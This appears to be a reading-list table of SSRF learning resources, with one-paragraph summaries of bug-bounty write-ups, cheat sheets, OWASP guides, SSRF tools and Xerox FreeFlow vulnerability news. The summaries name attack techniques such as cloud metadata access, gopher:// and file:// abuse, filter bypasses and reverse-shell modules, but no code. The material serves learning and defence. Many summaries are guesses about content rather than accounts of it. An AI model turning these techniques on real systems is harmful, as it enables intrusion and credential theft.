| 2025-08-14 2025 | SSRF bible. Cheatsheet - Google Docs intermediate | The content provided is titled "SSRF bible. Cheatsheet" on Google Docs. It appears to be a document or resource related to Server-Side Request Forgery (SSRF), a type of web security vulnerability. The document likely contains a compilation of information, tips, and techniques related to SSRF attacks and defenses. It may serve as a quick reference guide or cheat sheet for individuals looking to understand and protect against SSRF vulnerabilities. → docs.google.com |
| 2025-08-14 2025 | The Tale Of SSRF To RCE on .GOV Domain | by Tobydavenn | Sep, 2022 | Medium intermediate RCE | The content is titled "The Tale Of SSRF To RCE on .GOV Domain" by Tobydavenn on Medium in September 2022. It likely discusses a story or experience related to exploiting SSRF (Server-Side Request Forgery) vulnerabilities to achieve Remote Code Execution (RCE) on a .GOV domain. The article may provide insights into cybersecurity, hacking techniques, and the importance of securing government websites against such attacks. |
| 2025-08-14 2025 | (640) An overlooked parameter leads to a critical SSRF in Dropbox bug bount intermediate Bug Bounty | The content discusses a critical Server-Side Request Forgery (SSRF) vulnerability discovered in Dropbox's bug bounty program due to an overlooked parameter. This vulnerability could potentially allow attackers to manipulate server requests and access sensitive information. The SSRF flaw was identified as a significant security issue that could have serious consequences if exploited. This finding highlights the importance of thorough security testing and the need for companies to prioritize identifying and addressing such vulnerabilities to protect their systems and data. |
| 2025-08-14 2025 | SSRF Bypass List intermediate | Reference list of common HTTP headers, including `X-Forwarded-For`, `X-Forwarded-Port`, `X-Real-Ip`, and `Referer`, that can be manipulated to bypass SSRF protections. This compilation details numerous header variations and their typical values that attackers exploit when targeting applications to access internal resources or pivot within a network. |
| 2025-08-14 2025 | https://infosecwriteups.com/walkthrough-weather-app-hack-the-box-web-challenge-34b0c930dfca intermediate | The content is a walkthrough of a web challenge called "Weather App" from the platform Hack The Box. It provides a step-by-step guide on how to solve the challenge, including identifying vulnerabilities, exploiting them, and gaining access to the target system. The walkthrough covers topics such as reconnaissance, enumeration, exploitation, and privilege escalation. It aims to help readers understand the process of hacking a web application and improving their cybersecurity skills. → infosecwriteups.com |
| 2025-08-14 2025 | hackerone-reports/tops_by_bug_type/TOPSSRF.md at master · reddelexc/hackero news 20 min read | Library of top Server-Side Request Forgery (SSRF) reports from HackerOne, detailing vulnerabilities across various platforms including Lyft, Shopify, GitLab, and Dropbox. These reports showcase diverse SSRF attack vectors, such as exploiting analytics reports, OAuth controllers, webhook functionality, and FFmpeg HLS processing, leading to consequences like internal network access, metadata exfiltration, and private key disclosure. Notable CVEs and techniques mentioned include CVE-2020-10770 for Keycloak and DNS rebinding SSRF via Burp Suite. |
| 2025-08-14 2025 | Server Side Request Forgery (SSRF) Attacks & How to Prevent Them - Bright S beginner 8 min read | Library detailing Server-Side Request Forgery (SSRF) attacks, covering techniques like accessing cloud provider metadata (e.g., http://169.254.169.254), exploiting internal services via schemes such as `file://` and `gopher://`, and port scanning internal networks using loopback interfaces. It discusses the impact of these vulnerabilities, including unauthorized access to sensitive configurations and exploit chaining, and provides insights into preventing SSRF by avoiding blacklisting domains and IPs. |
| 2025-08-14 2025 | SSRF Vulnerability From a Developer’s Perspective | by Gupta Bless | Geek C beginner | The content discusses Server-Side Request Forgery (SSRF) vulnerability from a developer's perspective. It is written by Gupta Bless on Geek C. The article likely delves into the implications, risks, and potential solutions related to SSRF vulnerabilities in web applications, providing insights and guidance for developers to understand and address this security concern effectively. |
| 2025-08-14 2025 | https://infosecwriteups.com/multiple-http-redirects-to-bypass-ssrf-protections-45c894e5d41c intermediate | The content discusses a technique using multiple HTTP redirects to bypass Server-Side Request Forgery (SSRF) protections. By chaining together several HTTP redirects, an attacker can manipulate the server to access internal resources or perform unauthorized actions. This method can be used to exploit vulnerabilities in web applications that are susceptible to SSRF attacks. The article provides insights into how attackers can leverage this technique and offers recommendations for organizations to strengthen their defenses against SSRF vulnerabilities. → infosecwriteups.com |
| 2025-08-14 2025 | WSTG - v4.2 | OWASP Foundation intermediate 3 min read | Guide for testing Server-Side Request Forgery (SSRF) vulnerabilities in web applications. It details how SSRF can grant attackers access to restricted actions, internal services, or files, potentially leading to Remote Code Execution (RCE). The guide covers identifying injection points, testing exploitability, assessing severity, and techniques for bypassing filters using decimal, octal, and shortened IP representations, along with URL obfuscation methods. It also discusses blind SSRF scenarios and provides remediation advice emphasizing allow lists. → owasp.org |
| 2025-08-14 2025 | Server-Side Request Forgery (SSRF) - Intigriti beginner 5 min read | Library detailing Server-Side Request Forgery (SSRF) vulnerabilities, explaining how attackers can leverage application functionality to send requests from the server's network. It covers techniques for identifying SSRF using intercepting proxies like Burp Suite, differentiating between basic and blind SSRF, and testing for vulnerabilities by targeting internal IP addresses, cloud provider metadata APIs, and using various URL schemes like `file://` and `gopher://`. Prevention strategies include whitelisting accessible services, disabling unnecessary URL schemes, and implementing authentication on internal services. |
| 2025-08-14 2025 | GitHub - swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation tool intermediate 4 min read | Tool for fuzzing and exploiting Server Side Request Forgery (SSRF) vulnerabilities. SSRFmap processes Burp request files, allowing targeted fuzzing of specific parameters to discover and leverage SSRF flaws. It supports various modules for actions like port scanning, reading files, and triggering reverse shells, with options for custom user agents, HTTPS, and WAF bypass levels. |
| 2025-08-14 2025 | https://github.com/knassar702/lorsrf beginner 2 min read | Tool for identifying SSRF or Out-of-band resource load vulnerabilities. Lorsrf adds an OAST host to parameter values to generate requests received by services like Burp Collaborator, without revealing target information directly. It supports custom variables for the OAST host, including target domain, endpoint, query, and request method, enhancing vulnerability identification. Lorsrf allows for GET, POST (form-encoded or JSON), and POST-only requests and can integrate with tools like `waybackurls`. |
| 2025-08-14 2025 | 10 Types of Web Vulnerabilities that are Often Missed - Detectify Labs beginner 16 min read XSS XXE | Library of 10 web vulnerabilities often missed by security testers, including HTTP/2 Smuggling via request desyncs and XXE via Office Open XML parsers. It also details SSRF via XSS in PDF generators and XSS via SVG files, providing techniques and examples for exploitation and detection. → labs.detectify.com |
| 2025-08-14 2025 | Beginner Guide To Exploit Server Side Request Forgery (SSRF) Vulnerability beginner | The content is a beginner's guide to exploiting Server Side Request Forgery (SSRF) vulnerability. It likely covers the basics of identifying and exploiting SSRF vulnerabilities, which involve manipulating a server to make unauthorized requests on behalf of the attacker. The guide may provide insights into how SSRF vulnerabilities can be leveraged for malicious purposes and the potential risks associated with such exploits. It serves as an introductory resource for individuals looking to understand and potentially exploit SSRF vulnerabilities. → infosecwriteups.com |
| 2025-08-14 2025 | On SSRF (Server Side Request Forgery) or Simple Stuff Rodolfo Found beginner | The content discusses SSRF (Server Side Request Forgery) and the discoveries made by Rodolfo related to this vulnerability. SSRF involves manipulating a server to make unauthorized requests on behalf of the attacker. Rodolfo's findings likely pertain to identifying and potentially exploiting SSRF vulnerabilities. This type of attack can have serious consequences, allowing attackers to access sensitive information or internal systems. It is crucial for organizations to be aware of SSRF risks and implement security measures to prevent such attacks. |
| 2025-08-14 2025 | SSRF In The Wild - Vickie Li’s Security Blog intermediate 6 min read | Analysis of publicly disclosed SSRF vulnerabilities found on HackerOne, examining over 76 reports to identify common locations like file uploads, proxies, and webhooks. The research reveals that many vulnerabilities exist in features lacking prior protection, with fixes often involving blacklisting. The analysis highlights the versatility of SSRFs and encourages researchers to explore escalation potential, while also advocating for more comprehensive public disclosures of vulnerability details. |
| 2025-08-14 2025 | SSRF - HowToHunt beginner | The content appears to be about Server-Side Request Forgery (SSRF) and a guide or tutorial called "HowToHunt" related to this topic. SSRF is a security vulnerability that allows an attacker to manipulate a server into making unauthorized requests. The "HowToHunt" guide likely provides information on how to identify and mitigate SSRF vulnerabilities. It seems to be a concise reference or resource for individuals interested in learning more about SSRF and how to protect against it. |
| 2025-08-14 2025 | SSRF Cheat Sheet & Bypass Techniques intermediate 4 min read | Cheatsheet detailing Server-Side Request Forgery (SSRF) vulnerabilities, covering identification techniques, and bypass methods for whitelist filters. It explores URL schema wrappers in PHP, ASP.NET, Java, and cURL, alongside techniques like DNS rebinding and open redirects. The guide also touches upon post-exploitation enumeration using tools like Burp Collaborator and Intruder. |
| 2025-08-14 2025 | The journey of Web Cache Firewall Bypass to SSRF to AWS credentials compr advanced | The content discusses the progression from a Web Cache Firewall Bypass to Server-Side Request Forgery (SSRF) and ultimately obtaining AWS credentials through a comprehensive process. This journey likely involves exploiting vulnerabilities in web systems to bypass security measures, manipulate server requests, and ultimately gain access to sensitive AWS credentials. The content highlights the evolution of techniques used by attackers to compromise systems and underscores the importance of robust security measures to prevent such breaches. |
| 2025-08-14 2025 | Server Side Request Forgery beginner | Server Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server into making unintended requests on their behalf. This can lead to unauthorized access to internal systems, data leaks, and potential server exploitation. Preventing SSRF involves input validation, using whitelists for allowed URLs, and restricting access to sensitive resources. It is crucial for developers and organizations to be aware of SSRF risks and implement security measures to mitigate this threat. → 0xn3va.gitbook.io |
| 2025-08-14 2025 | A Glossary of Blind SSRF Chains – Assetnote advanced 9 min read | Glossary of Blind SSRF Chains, detailing techniques for exploiting Server-Side Request Forgery when response data is unavailable. It covers methodologies like using SSRF canaries to confirm internal service reachability, leveraging DNS data with tools such as AltDNS for internal host discovery, and identifying side-channel leaks through response errors, sizes, and timings. Specific examples include chaining with internal SSRFs, app-specific open redirects, blind XXE, and mentions of vulnerabilities affecting Confluence, Artifactory, Jenkins, JAMF, and Apache mod_proxy (CVE-2021-40438). |
| 2025-08-14 2025 | https://github.com/ethicalhackingplayground/ssrf-king intermediate 1 min read | Library for automated SSRF detection in Burp Suite. SSRF King tests all parts of HTTP requests for external interactions, alerting users to vulnerable endpoints, hosts, and locations. It supports passive and active scanning, with future enhancements including a user interface for custom callbacks and testing JSON & XML payloads. The library also checks for SMTP SSRF and identifies open redirects by verifying if interactions originate from the user's IP. |
| 2025-08-14 2025 | A Pentester’s Guide to Server Side Request Forgery (SSRF) beginner 2 min read | Cheatsheet detailing Server-Side Request Forgery (SSRF) techniques. It covers exploiting functionality that reads or submits data to URLs, enabling attackers to access internal resources like AWS metadata, MongoDB interfaces, or local files via protocols such as `file://`, `sftp://`, `dict://`, `tftp://`, `ldap://`, and `gopher://`. The guide also provides payloads for localhost access, XSS integration, iframe injection, and cloud-specific metadata endpoints for AWS, Google Cloud, and Azure. → cobalt.io |
| 2025-08-14 2025 | Dark Side 108: Intro to SSRF — Server-Side Request Forgery | by Katlyn Gall beginner | The content titled "Dark Side 108: Intro to SSRF — Server-Side Request Forgery" by Katlyn Gall likely introduces readers to the concept of SSRF (Server-Side Request Forgery). SSRF involves manipulating a server into making unintended requests, potentially leading to security vulnerabilities. The article may delve into the risks associated with SSRF attacks and ways to prevent them. It serves as an introductory guide to understanding and addressing SSRF threats in web applications. |
| 2025-08-14 2025 | $10000 Facebook SSRF (Bug Bounty) | by Amine Aboud | Medium intermediate | The content is titled "$10000 Facebook SSRF (Bug Bounty)" by Amine Aboud on Medium. It likely discusses a security vulnerability known as Server-Side Request Forgery (SSRF) found on Facebook, which was eligible for a bug bounty reward of $10,000. The article may detail the discovery and reporting process of this SSRF bug on Facebook's platform, highlighting the importance of bug bounty programs in enhancing cybersecurity. |
| 2025-08-14 2025 | Blind SSRF - The Hide & Seek Game | by Jerry Shah (Jerry) | Medium intermediate | The content titled "Blind SSRF - The Hide & Seek Game" by Jerry Shah on Medium likely discusses the concept of Server-Side Request Forgery (SSRF) vulnerabilities, where attackers manipulate a server into making unauthorized requests. The title suggests a focus on a specific type of SSRF attack known as Blind SSRF, which involves making requests without receiving direct responses. The author, Jerry Shah, may delve into the intricacies of this type of attack and provide insights on how to detect and prevent Blind SSRF vulnerabilities. |
| 2025-08-14 2025 | Server-Side Request Forgery — SSRF: Exploitation Technique | by goswamiijay intermediate | The content titled "Server-Side Request Forgery — SSRF: Exploitation Technique" by goswamiijay likely discusses the concept of Server-Side Request Forgery (SSRF) as an exploitation technique. SSRF involves manipulating a server into making unintended requests, potentially leading to unauthorized access or data leakage. The article may delve into how SSRF attacks work, their impact on web applications, and strategies to prevent such vulnerabilities. |
| 2025-08-14 2025 | Exploiting: SSRF For Admin Access | by Gupta Bless | InfoSec Write-ups intermediate | The content appears to be about exploiting Server-Side Request Forgery (SSRF) vulnerabilities to gain admin access. It is likely a write-up by Gupta Bless in the field of Information Security (InfoSec). SSRF is a type of security vulnerability that allows an attacker to manipulate the server into making unauthorized requests, potentially leading to unauthorized access. The article may provide insights or techniques on how SSRF can be exploited to gain admin privileges. |
| 2025-08-14 2025 | Full Read SSRF on Gitlab's Internal Grafana intermediate | Program: GitLab Severity: critical Weakness: Server-Side Request Forgery (SSRF) Apparently, Grafana is bundled with Gitlab by default. So the grafana instance that is accessible via `/-/grafana/`is v... → hackerone.com |
| 2025-08-14 2025 | https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-f62235a2c151 beginner | The content discusses Server-Side Request Forgery (SSRF), a vulnerability that allows attackers to manipulate a server into making unintended requests. It explains how SSRF works, its impact on security, and provides examples of SSRF attacks. The article also covers how to prevent SSRF attacks, including input validation, using allowlists, and restricting access to sensitive resources. Additionally, it emphasizes the importance of understanding and mitigating SSRF vulnerabilities to protect systems from potential exploitation. |
| 2025-08-14 2025 | My First Bug: Blind SSRF Through Profile Picture Upload | by swaysthinking intermediate | The content is titled "My First Bug: Blind SSRF Through Profile Picture Upload" by swaysthinking. The main focus is likely on the author's experience discovering a blind Server-Side Request Forgery (SSRF) vulnerability through a profile picture upload feature. This bug allowed unauthorized access to internal systems through manipulating the server's requests. The content may detail the discovery process, the impact of the vulnerability, and possibly the steps taken to report and address the issue. |
| 2025-08-14 2025 | Vimeo SSRF with code execution potential. | by Harsh Jaiswal | InfoSec Writ intermediate | The content discusses a security vulnerability in Vimeo known as Server-Side Request Forgery (SSRF) that could potentially lead to code execution. The vulnerability was identified by Harsh Jaiswal and poses a risk to the platform's security. SSRF allows attackers to manipulate server requests and potentially execute malicious code. This highlights the importance of addressing and patching such vulnerabilities to prevent unauthorized access and protect user data. |
| 2025-08-14 2025 | Story of a 2.5k Bounty — SSRF on Zimbra Led to Dump All Credentials in Clea intermediate | The content discusses a story where a bounty of $2.5k was rewarded for discovering a Server-Side Request Forgery (SSRF) vulnerability on Zimbra. This vulnerability allowed the attacker to dump all credentials in cleartext. The focus is on the impact of the SSRF exploit on Zimbra's security and the importance of addressing such vulnerabilities to prevent unauthorized access to sensitive information. |
| 2025-08-14 2025 | Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf beginner | The content is a document titled "Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf." It likely contains information and guidelines on preventing server-side request forgery (SSRF) attacks. SSRF is a vulnerability where an attacker can manipulate a server into making unintended requests on their behalf. The document may provide cheat sheets or best practices to help developers protect their systems from SSRF attacks. It could be a valuable resource for understanding and mitigating this security risk. → cheatsheetseries.owasp.org |
| 2025-08-14 2025 | Capital One SSRF | Kontra Application Security Training intermediate | The content appears to mention a topic related to Capital One's Server-Side Request Forgery (SSRF) vulnerability. It may also refer to Kontra Application Security Training, which could be a resource for learning about application security, potentially including how to identify and mitigate SSRF vulnerabilities. The content seems to highlight the importance of understanding and addressing security issues like SSRF to protect sensitive data and systems from potential cyber threats. |
| 2025-08-14 2025 | Exploiting an SSRF: Trials and Tribulations | by A Bug’z Life | A Bug’z Lif intermediate | The content seems to focus on the topic of exploiting Server-Side Request Forgery (SSRF) vulnerabilities. It suggests that the process of exploiting SSRF vulnerabilities can be challenging and may involve various trials and tribulations. The author, identified as A Bug'z Life, likely shares insights, experiences, or techniques related to SSRF exploitation. The content may delve into the complexities and difficulties encountered when attempting to exploit SSRF vulnerabilities. |
| 2025-08-14 2025 | SSRF (Server Side Request Forgery) - HackTricks beginner | The content is about SSRF (Server Side Request Forgery) and is part of the HackTricks series. SSRF is a vulnerability that allows an attacker to make requests on behalf of the server, potentially accessing internal systems or performing malicious actions. The HackTricks series likely provides information on exploiting and defending against SSRF attacks. → book.hacktricks.xyz |
| 2025-08-14 2025 | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery intermediate 7 min read | Reference detailing Server-Side Request Forgery (SSRF) vulnerabilities, covering methodology, bypass techniques like IPv6 notation and URL encoding, and exploitation paths. It highlights tools such as swisskyrepo/SSRFmap and tarunkant/Gopherus, and discusses bypassing filters using methods like DNS rebinding and URL scheme abuse, including specific examples like fetching AWS metadata and exploiting the gopher:// protocol. |
| 2025-08-14 2025 | SSRF payloads. Payloads with localhost | by Pravinrp | Medium intermediate | The content seems to focus on SSRF (Server-Side Request Forgery) payloads that involve using localhost. It appears to be an article or post written by Pravinrp on Medium. SSRF is a security vulnerability where an attacker can manipulate a web application to make requests on behalf of the server. Using payloads with localhost in SSRF attacks can be a way to exploit the vulnerability. The content likely delves into techniques or examples of how attackers can leverage SSRF with localhost for malicious purposes. |
| 2025-08-14 2025 | GitHub - teknogeek/ssrf-sheriff: A simple SSRF-testing sheriff written in G intermediate 1 min read | Library for testing Server-Side Request Forgery (SSRF) vulnerabilities, written in Go. It supports all HTTP methods and offers configurable secret tokens with content-specific responses in formats like JSON, XML, HTML, TXT, PNG, JPEG, GIF, MP3, and MP4. Secrets are generated per-request, and the library also features TLS support. Inspired by Frans Rosén's talk at BountyCon '19 Singapore, this tool was initially developed for the Uber H1-4420 2019 London Live Hacking Event. |
| 2025-08-14 2025 | jdonsec/AllThingsSSRF: This is a collection of writeups, cheatsheets, video beginner | The content is about a GitHub repository called "jdonsec/AllThingsSSRF" which contains a collection of writeups, cheatsheets, and videos related to Server-Side Request Forgery (SSRF). It seems to be a resource for individuals interested in learning more about SSRF vulnerabilities and how to address them. |
| 2025-08-14 2025 | https://github.com/SpiderMate/B-XSSRF intermediate | The link provided leads to a GitHub repository for a tool called B-XSSRF. It is likely a tool related to Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) vulnerabilities. The content on the GitHub page likely includes information about the tool, its purpose, features, and instructions for usage. It is recommended to visit the link to explore the tool further and understand its capabilities in addressing XSSRF vulnerabilities. |
| 2025-08-14 2025 | SSRF in the Wild. A totally unscientific analysis of… | by Vickie Li | The intermediate | The content titled "SSRF in the Wild" by Vickie Li discusses Server-Side Request Forgery (SSRF) vulnerabilities observed in real-world scenarios. The article likely provides an informal analysis of SSRF occurrences without scientific rigor. It may explore practical examples, implications, and potential risks associated with SSRF attacks. The focus is on understanding how SSRF vulnerabilities manifest in the wild rather than a formal study. |
| 2025-08-14 2025 | GitHub - allanlw/svg-cheatsheet: A cheatsheet for exploiting server-side SV intermediate 5 min read | Cheatsheet detailing Server-Side Request Forgery (SSRF), Local File Inclusion (LFI), Cross-Site Scripting (XSS), and Remote Code Execution (RCE) vulnerabilities achievable through SVG exploitation. It covers techniques involving external images via `<image>`, external SVG content via `<use>`, external stylesheets via `<link>` and `@import`, XSLT stylesheets, inline and external JavaScript, inline event handlers, XML External Entities (XXE), and embedding HTML via `<foreignObject>` and `<object>`/`<embed>` tags. The resource also touches on MIME type confusion, TOCTOU vulnerabilities, and potential issues with external fonts and the `<tref>` element. |
| 2025-08-14 2025 | Server Side Request Forgery Prevention - OWASP Cheat Sheet Series beginner 14 min read | Library of OWASP's Server-Side Request Forgery Prevention Cheat Sheet addresses strategies for defending against SSRF attacks, particularly when applications must interact with external or internal services. It details defensive measures focusing on input validation, employable at both application and network layers. The sheet advocates for an allowlist approach when handling user-provided URLs, IP addresses, domain names, or strings, referencing techniques discussed by researcher Orange Tsai and considering potential bypasses through various encodings and DNS pinning. It also touches on preventing XXE exploitation which can facilitate SSRF. → cheatsheetseries.owasp.org |
| 2025-08-14 2025 | Server Side Request Forgery (SSRF) - Book of BugBounty Tips beginner | The content is titled "Server Side Request Forgery (SSRF) - Book of BugBounty Tips." It likely discusses SSRF, a security vulnerability where an attacker can manipulate a server to make requests on their behalf. The content may provide tips and insights related to SSRF in bug bounty programs. |
| 2025-08-14 2025 | Bypassing SSRF Protection. There’s always more to do… | by Vickie Li | Medi intermediate | The content titled "Bypassing SSRF Protection" by Vickie Li discusses methods to bypass Server-Side Request Forgery (SSRF) protection measures. It highlights the continuous need for vigilance and improvement in security practices to prevent SSRF attacks. The article likely delves into techniques or strategies that attackers can use to circumvent SSRF protections, emphasizing the importance of staying updated on security measures to defend against such threats effectively. |
| 2025-08-14 2025 | The journey of Web Cache Firewall Bypass to SSRF to AWS credentials compr advanced | The content discusses the progression from a Web Cache Firewall Bypass to Server-Side Request Forgery (SSRF) and ultimately obtaining AWS credentials through this process. It highlights the evolution of exploiting vulnerabilities, starting with bypassing web cache firewalls, moving on to SSRF attacks, and culminating in the compromise of AWS credentials. This journey showcases the potential risks and consequences of such security vulnerabilities being exploited by malicious actors. |
| 2025-08-14 2025 | From SSRF To RCE in PDFReacter. What is PDFReacter? - PDFReacter is a… | b advanced | The content appears to discuss a potential security vulnerability in PDFReacter that could allow an attacker to escalate from Server-Side Request Forgery (SSRF) to Remote Code Execution (RCE). PDFReacter is likely a software or tool that processes PDF files. The focus seems to be on the security implications of this vulnerability and how it could be exploited by malicious actors. |
| 2025-08-14 2025 | Vimeo SSRF with code execution potential. - Harsh Jaiswal - Medium advanced | The content discusses a security vulnerability in Vimeo that could lead to Server-Side Request Forgery (SSRF) with code execution potential. The vulnerability was identified by Harsh Jaiswal and is detailed in a Medium post. SSRF can be exploited to make unauthorized requests from the server, potentially leading to code execution. This type of vulnerability can pose a significant risk to the security of a system or application. It is crucial for organizations to address and patch such vulnerabilities promptly to prevent exploitation by malicious actors. |
| 2025-08-14 2025 | https://medium.com/@arbazhussain/svg-xlink-ssrf-fingerprinting-libraries-version-450ebecc2f3c intermediate | The content discusses a security vulnerability related to SVG xlink in libraries, leading to SSRF attacks and version fingerprinting. It highlights how attackers can exploit this vulnerability to gather information about the libraries used by a website. The article emphasizes the importance of addressing this issue to prevent potential security breaches. |
| 2025-08-14 2025 | SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-2 | intermediate | The content discusses SSRF (Server Side Request Forgery), focusing on its types and ways to exploit it. It likely delves into the vulnerabilities associated with SSRF attacks and the methods attackers can use to exploit them. The article may provide insights into how SSRF can be used to manipulate servers into making unauthorized requests and accessing sensitive information. It is part two of a series, suggesting that it builds upon previous information shared in part one. |
| 2025-08-14 2025 | SSRF’s up! Real World Server-Side Request Forgery (SSRF) beginner 8 min read | Writeup of SSRF in Dundas BI, demonstrating how an attacker can exploit the "share as image" feature to force the application to issue requests on their behalf to unintended resources. The article details the conceptual understanding of Server-Side Request Forgery, outlines common characteristics of vulnerable features, and provides practical testing methodologies including setting up a controlled web server to observe incoming requests and analyzing server response differences for port scanning and internal hostname brute-forcing. |
| 2025-08-14 2025 | SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 | intermediate | The content is about SSRF (Server Side Request Forgery), focusing on its types and ways to exploit it. It appears to be the first part of a series discussing SSRF vulnerabilities and exploitation techniques. The content likely delves into the various forms of SSRF attacks and methods to leverage them for unauthorized access or data manipulation. This introductory part sets the stage for a deeper exploration of SSRF in subsequent parts of the series. |
| 2025-08-14 2025 | 0xdf hacks stuff | CTF solutions, malware analysis, home lab development beginner 318 min read | Toolkits cataloging vulnerabilities and exploitation techniques, featuring writeups for Linux and Windows boxes. Specific examples include exploiting Cypher injection and XSS on "Sorcery," capturing and cracking WPA2-PSK handshakes on "AirTouch," abusing dMSA migration for domain admin on "Eighteen," and leveraging CVE-2024-30088 on "DarkZero." Further entries detail exploiting CVE-2026-27944 and CVE-2026-3888 on "Snapped," forging JWTs in pac4j on "Principal," and achieving RCE via Bash arithmetic evaluation injection on "Browsed." Additional content covers XSLT file writing and CVE-2024-48990 on "Conversor," SQL injection and RCE via runkit on "Gavel," and sudo CVE exploitation on "Expressway." Finally, SAML bypasses and IDORs are detailed for "Barrier" and "Guardian," respectively. |
| 2025-08-14 2025 | AWS takeover through SSRF in JavaScript – Gwendal Le Coguic advanced 7 min read | Writeup detailing an AWS account takeover achieved through an SSRF vulnerability in a custom JavaScript macro language, Banan++. The vulnerability stemmed from an `eval()` function within a `Union()` function in the `banan++.js` library. By exploiting the lack of input sanitization and leveraging the `operation` parameter in a POST request, the attacker was able to execute arbitrary JavaScript, ultimately using `fetch()` to perform blind SSRF attacks. This allowed the attacker to exfiltrate AWS credentials, leading to the compromise of numerous EC2 instances and S3 buckets. |
| 2025-08-14 2025 | Security Bugs in Practice: SSRF via Request Splitting intermediate 10 min read | Library for identifying SSRF vulnerabilities, specifically via request splitting in Node.js. It details how unicode character truncation in older Node.js versions (prior to 10) could lead to HTTP control characters being written to the wire, enabling an attacker to forge arbitrary requests. The entry highlights Bug 1447452 in the Firefox Accounts API server as a practical example, where this vulnerability could be exploited to make unintended requests to the backend data store. |
| 2025-08-14 2025 | Into the Borg – SSRF inside Google production network | OpnSec advanced | The content titled "Into the Borg – SSRF inside Google production network | OpnSec" likely discusses a security vulnerability known as Server-Side Request Forgery (SSRF) within Google's production network. The article may delve into the implications of SSRF and how it could potentially be exploited within Google's infrastructure. The content is likely related to cybersecurity and may provide insights into the challenges and risks associated with SSRF vulnerabilities in a high-profile environment like Google's network. |
| 2025-08-14 2025 | Server Side Request Forgery (SSRF) Testing | by NoGe | InfoSec Write-ups intermediate | The content is about Server Side Request Forgery (SSRF) Testing, written by NoGe in an InfoSec Write-up. It likely covers information related to testing for SSRF vulnerabilities, which involve manipulating a server to make unintended requests on behalf of the attacker. The article may provide insights, techniques, or tools for identifying and mitigating SSRF risks in web applications. |
| 2025-08-14 2025 | How i converted SSRF TO XSS in jira. | by Ashish Kunwar | Medium intermediate | The content titled "How i converted SSRF TO XSS in jira" by Ashish Kunwar on Medium likely discusses a security vulnerability where Server-Side Request Forgery (SSRF) was converted to Cross-Site Scripting (XSS) in Jira. The author may explain how they identified and exploited this vulnerability, potentially highlighting the impact and implications of such a conversion. This content likely delves into the technical details of the vulnerability and the process of exploiting it to achieve XSS in the Jira platform. |
| 2025-08-11 2025 | Critical vulnerabilities in Xerox FreeFlow Core v8.0.4 (CVE-2025-8355 & CVE-2025-8356) could lead to SSRF & RCE attacks. Update to v8.0.5 immediately to secure your systems. Link: thedailytechfeed.com/critical-vulne #Vulnerabilities #Xerox #FreeFlow #CVE #Security #Update #SSRF #RCE news | Critical vulnerabilities (CVE-2025-8355 & CVE-2025-8356) in Xerox FreeFlow Core v8.0.4 pose risks of SSRF & RCE attacks. Immediate update to v8.0.5 is necessary for system security. Visit thedailytechfeed.com/critical-vulne for more information. #Vulnerabilities #Xerox #FreeFlow #CVE #Security #Update #SSRF #RCE. |
| 2025-08-11 2025 | Xerox FreeFlow Core v8.0.4 has 2 critical flaws: CVE-2025-8355 SSRF CVE-2025-8356 Path Traversal RCE Fix: Update to v8.0.5 now! Paxion Cybersecurity helps organizations stay ahead of threats like these. #CyberSecurity #Xerox #Infosec #RCE #SSRF news | Xerox FreeFlow Core v8.0.4 has two critical flaws: CVE-2025-8355 (SSRF) and CVE-2025-8356 (Path Traversal leading to RCE). The solution is to update to v8.0.5 immediately to address these vulnerabilities. Paxion Cybersecurity assists organizations in proactively managing such threats. #CyberSecurity #Xerox #Infosec #RCE #SSRF |
| 2025-08-11 2025 | Xerox FreeFlow Vulnerabilities leads to SSRF and RCE Attacks news 2 min read | Writeup detailing CVE-2025-8355 and CVE-2025-8356, critical vulnerabilities found in Xerox FreeFlow Core version 8.0.4. Discovered by Horizon3.ai researchers, CVE-2025-8355 is an XXE flaw enabling SSRF attacks, allowing attackers to bypass firewalls and access internal resources. CVE-2025-8356 is a path traversal vulnerability that can lead to RCE, permitting arbitrary command execution and system compromise. Xerox has released version 8.0.5 with patches for both issues, and immediate upgrading is crucial for mitigation. → cybersecuritynews.com |
| 2025-08-11 2025 | Xerox FreeFlow Flaws Enable SSRF and Remote Code Execution news 2 min read | Writeup of CVE-2025-8355 and CVE-2025-8356 in Xerox FreeFlow Core, detailing an XML External Entity (XXE) vulnerability leading to Server-Side Request Forgery (SSRF) and a Path Traversal vulnerability enabling Remote Code Execution (RCE). Discovered by Jimi Sebree of Horizon3.ai, these flaws affect version 8.0.4, with Xerox recommending immediate upgrade to version 8.0.5 to address these critical threats. → cyberpress.org |
| 2025-08-11 2025 | Xerox FreeFlow Flaws Enable SSRF and Remote Code Execution news 2 min read | Analysis of CVE-2025-8355 and CVE-2025-8356 in Xerox FreeFlow Core v8.0.4 reveals critical SSRF and path traversal vulnerabilities. The XXE flaw (CVE-2025-8355) enables attackers to forge server-side requests to internal or external resources, while the path traversal vulnerability (CVE-2025-8356) can lead to remote code execution. Discovered by Jimi Sebree of Horizon3.ai, these "IMPORTANT" severity issues necessitate immediate upgrade to v8.0.5, as per Xerox Security Bulletin XRX25-013. → gbhackers.com |
| 2025-08-02 2025 | Just wrapped up the SSRF HR room on @RealTryHackMe! Learned how attackers misuse servers to reach internal services & how to defend against it. Up next: more handson security challenges! tryhackme.com/room/ssrfhr #CyberSecurity #SSRF #TryHackMe #Infosec beginner | The content discusses completing a room on SSRF HR on TryHackMe, focusing on attackers misusing servers to access internal services and defense strategies. The next step involves engaging in more hands-on security challenges. The post emphasizes cybersecurity, SSRF awareness, and TryHackMe participation. |
| 2025-07-31 2025 | Another Byte Bites the Dust - How XBOW Turned a Blind SSRF into a File Reading Oracle - xbow.com/blog/xbow-titi by @pwntester / @Xbow #SSRF #LFI #FileDisclosure #SecurityResearch #BugBounty #CloudSecurity #WebSecurity #OffensiveSecurity #AppSec #PathTraversal advanced | The content discusses how XBOW converted a blind SSRF vulnerability into a file reading oracle. It highlights the importance of security research, bug bounty programs, and cloud/web security. The post mentions relevant hashtags like SSRF, LFI, FileDisclosure, and PathTraversal. The focus is on offensive security and application security. The content also includes a link to further information. |
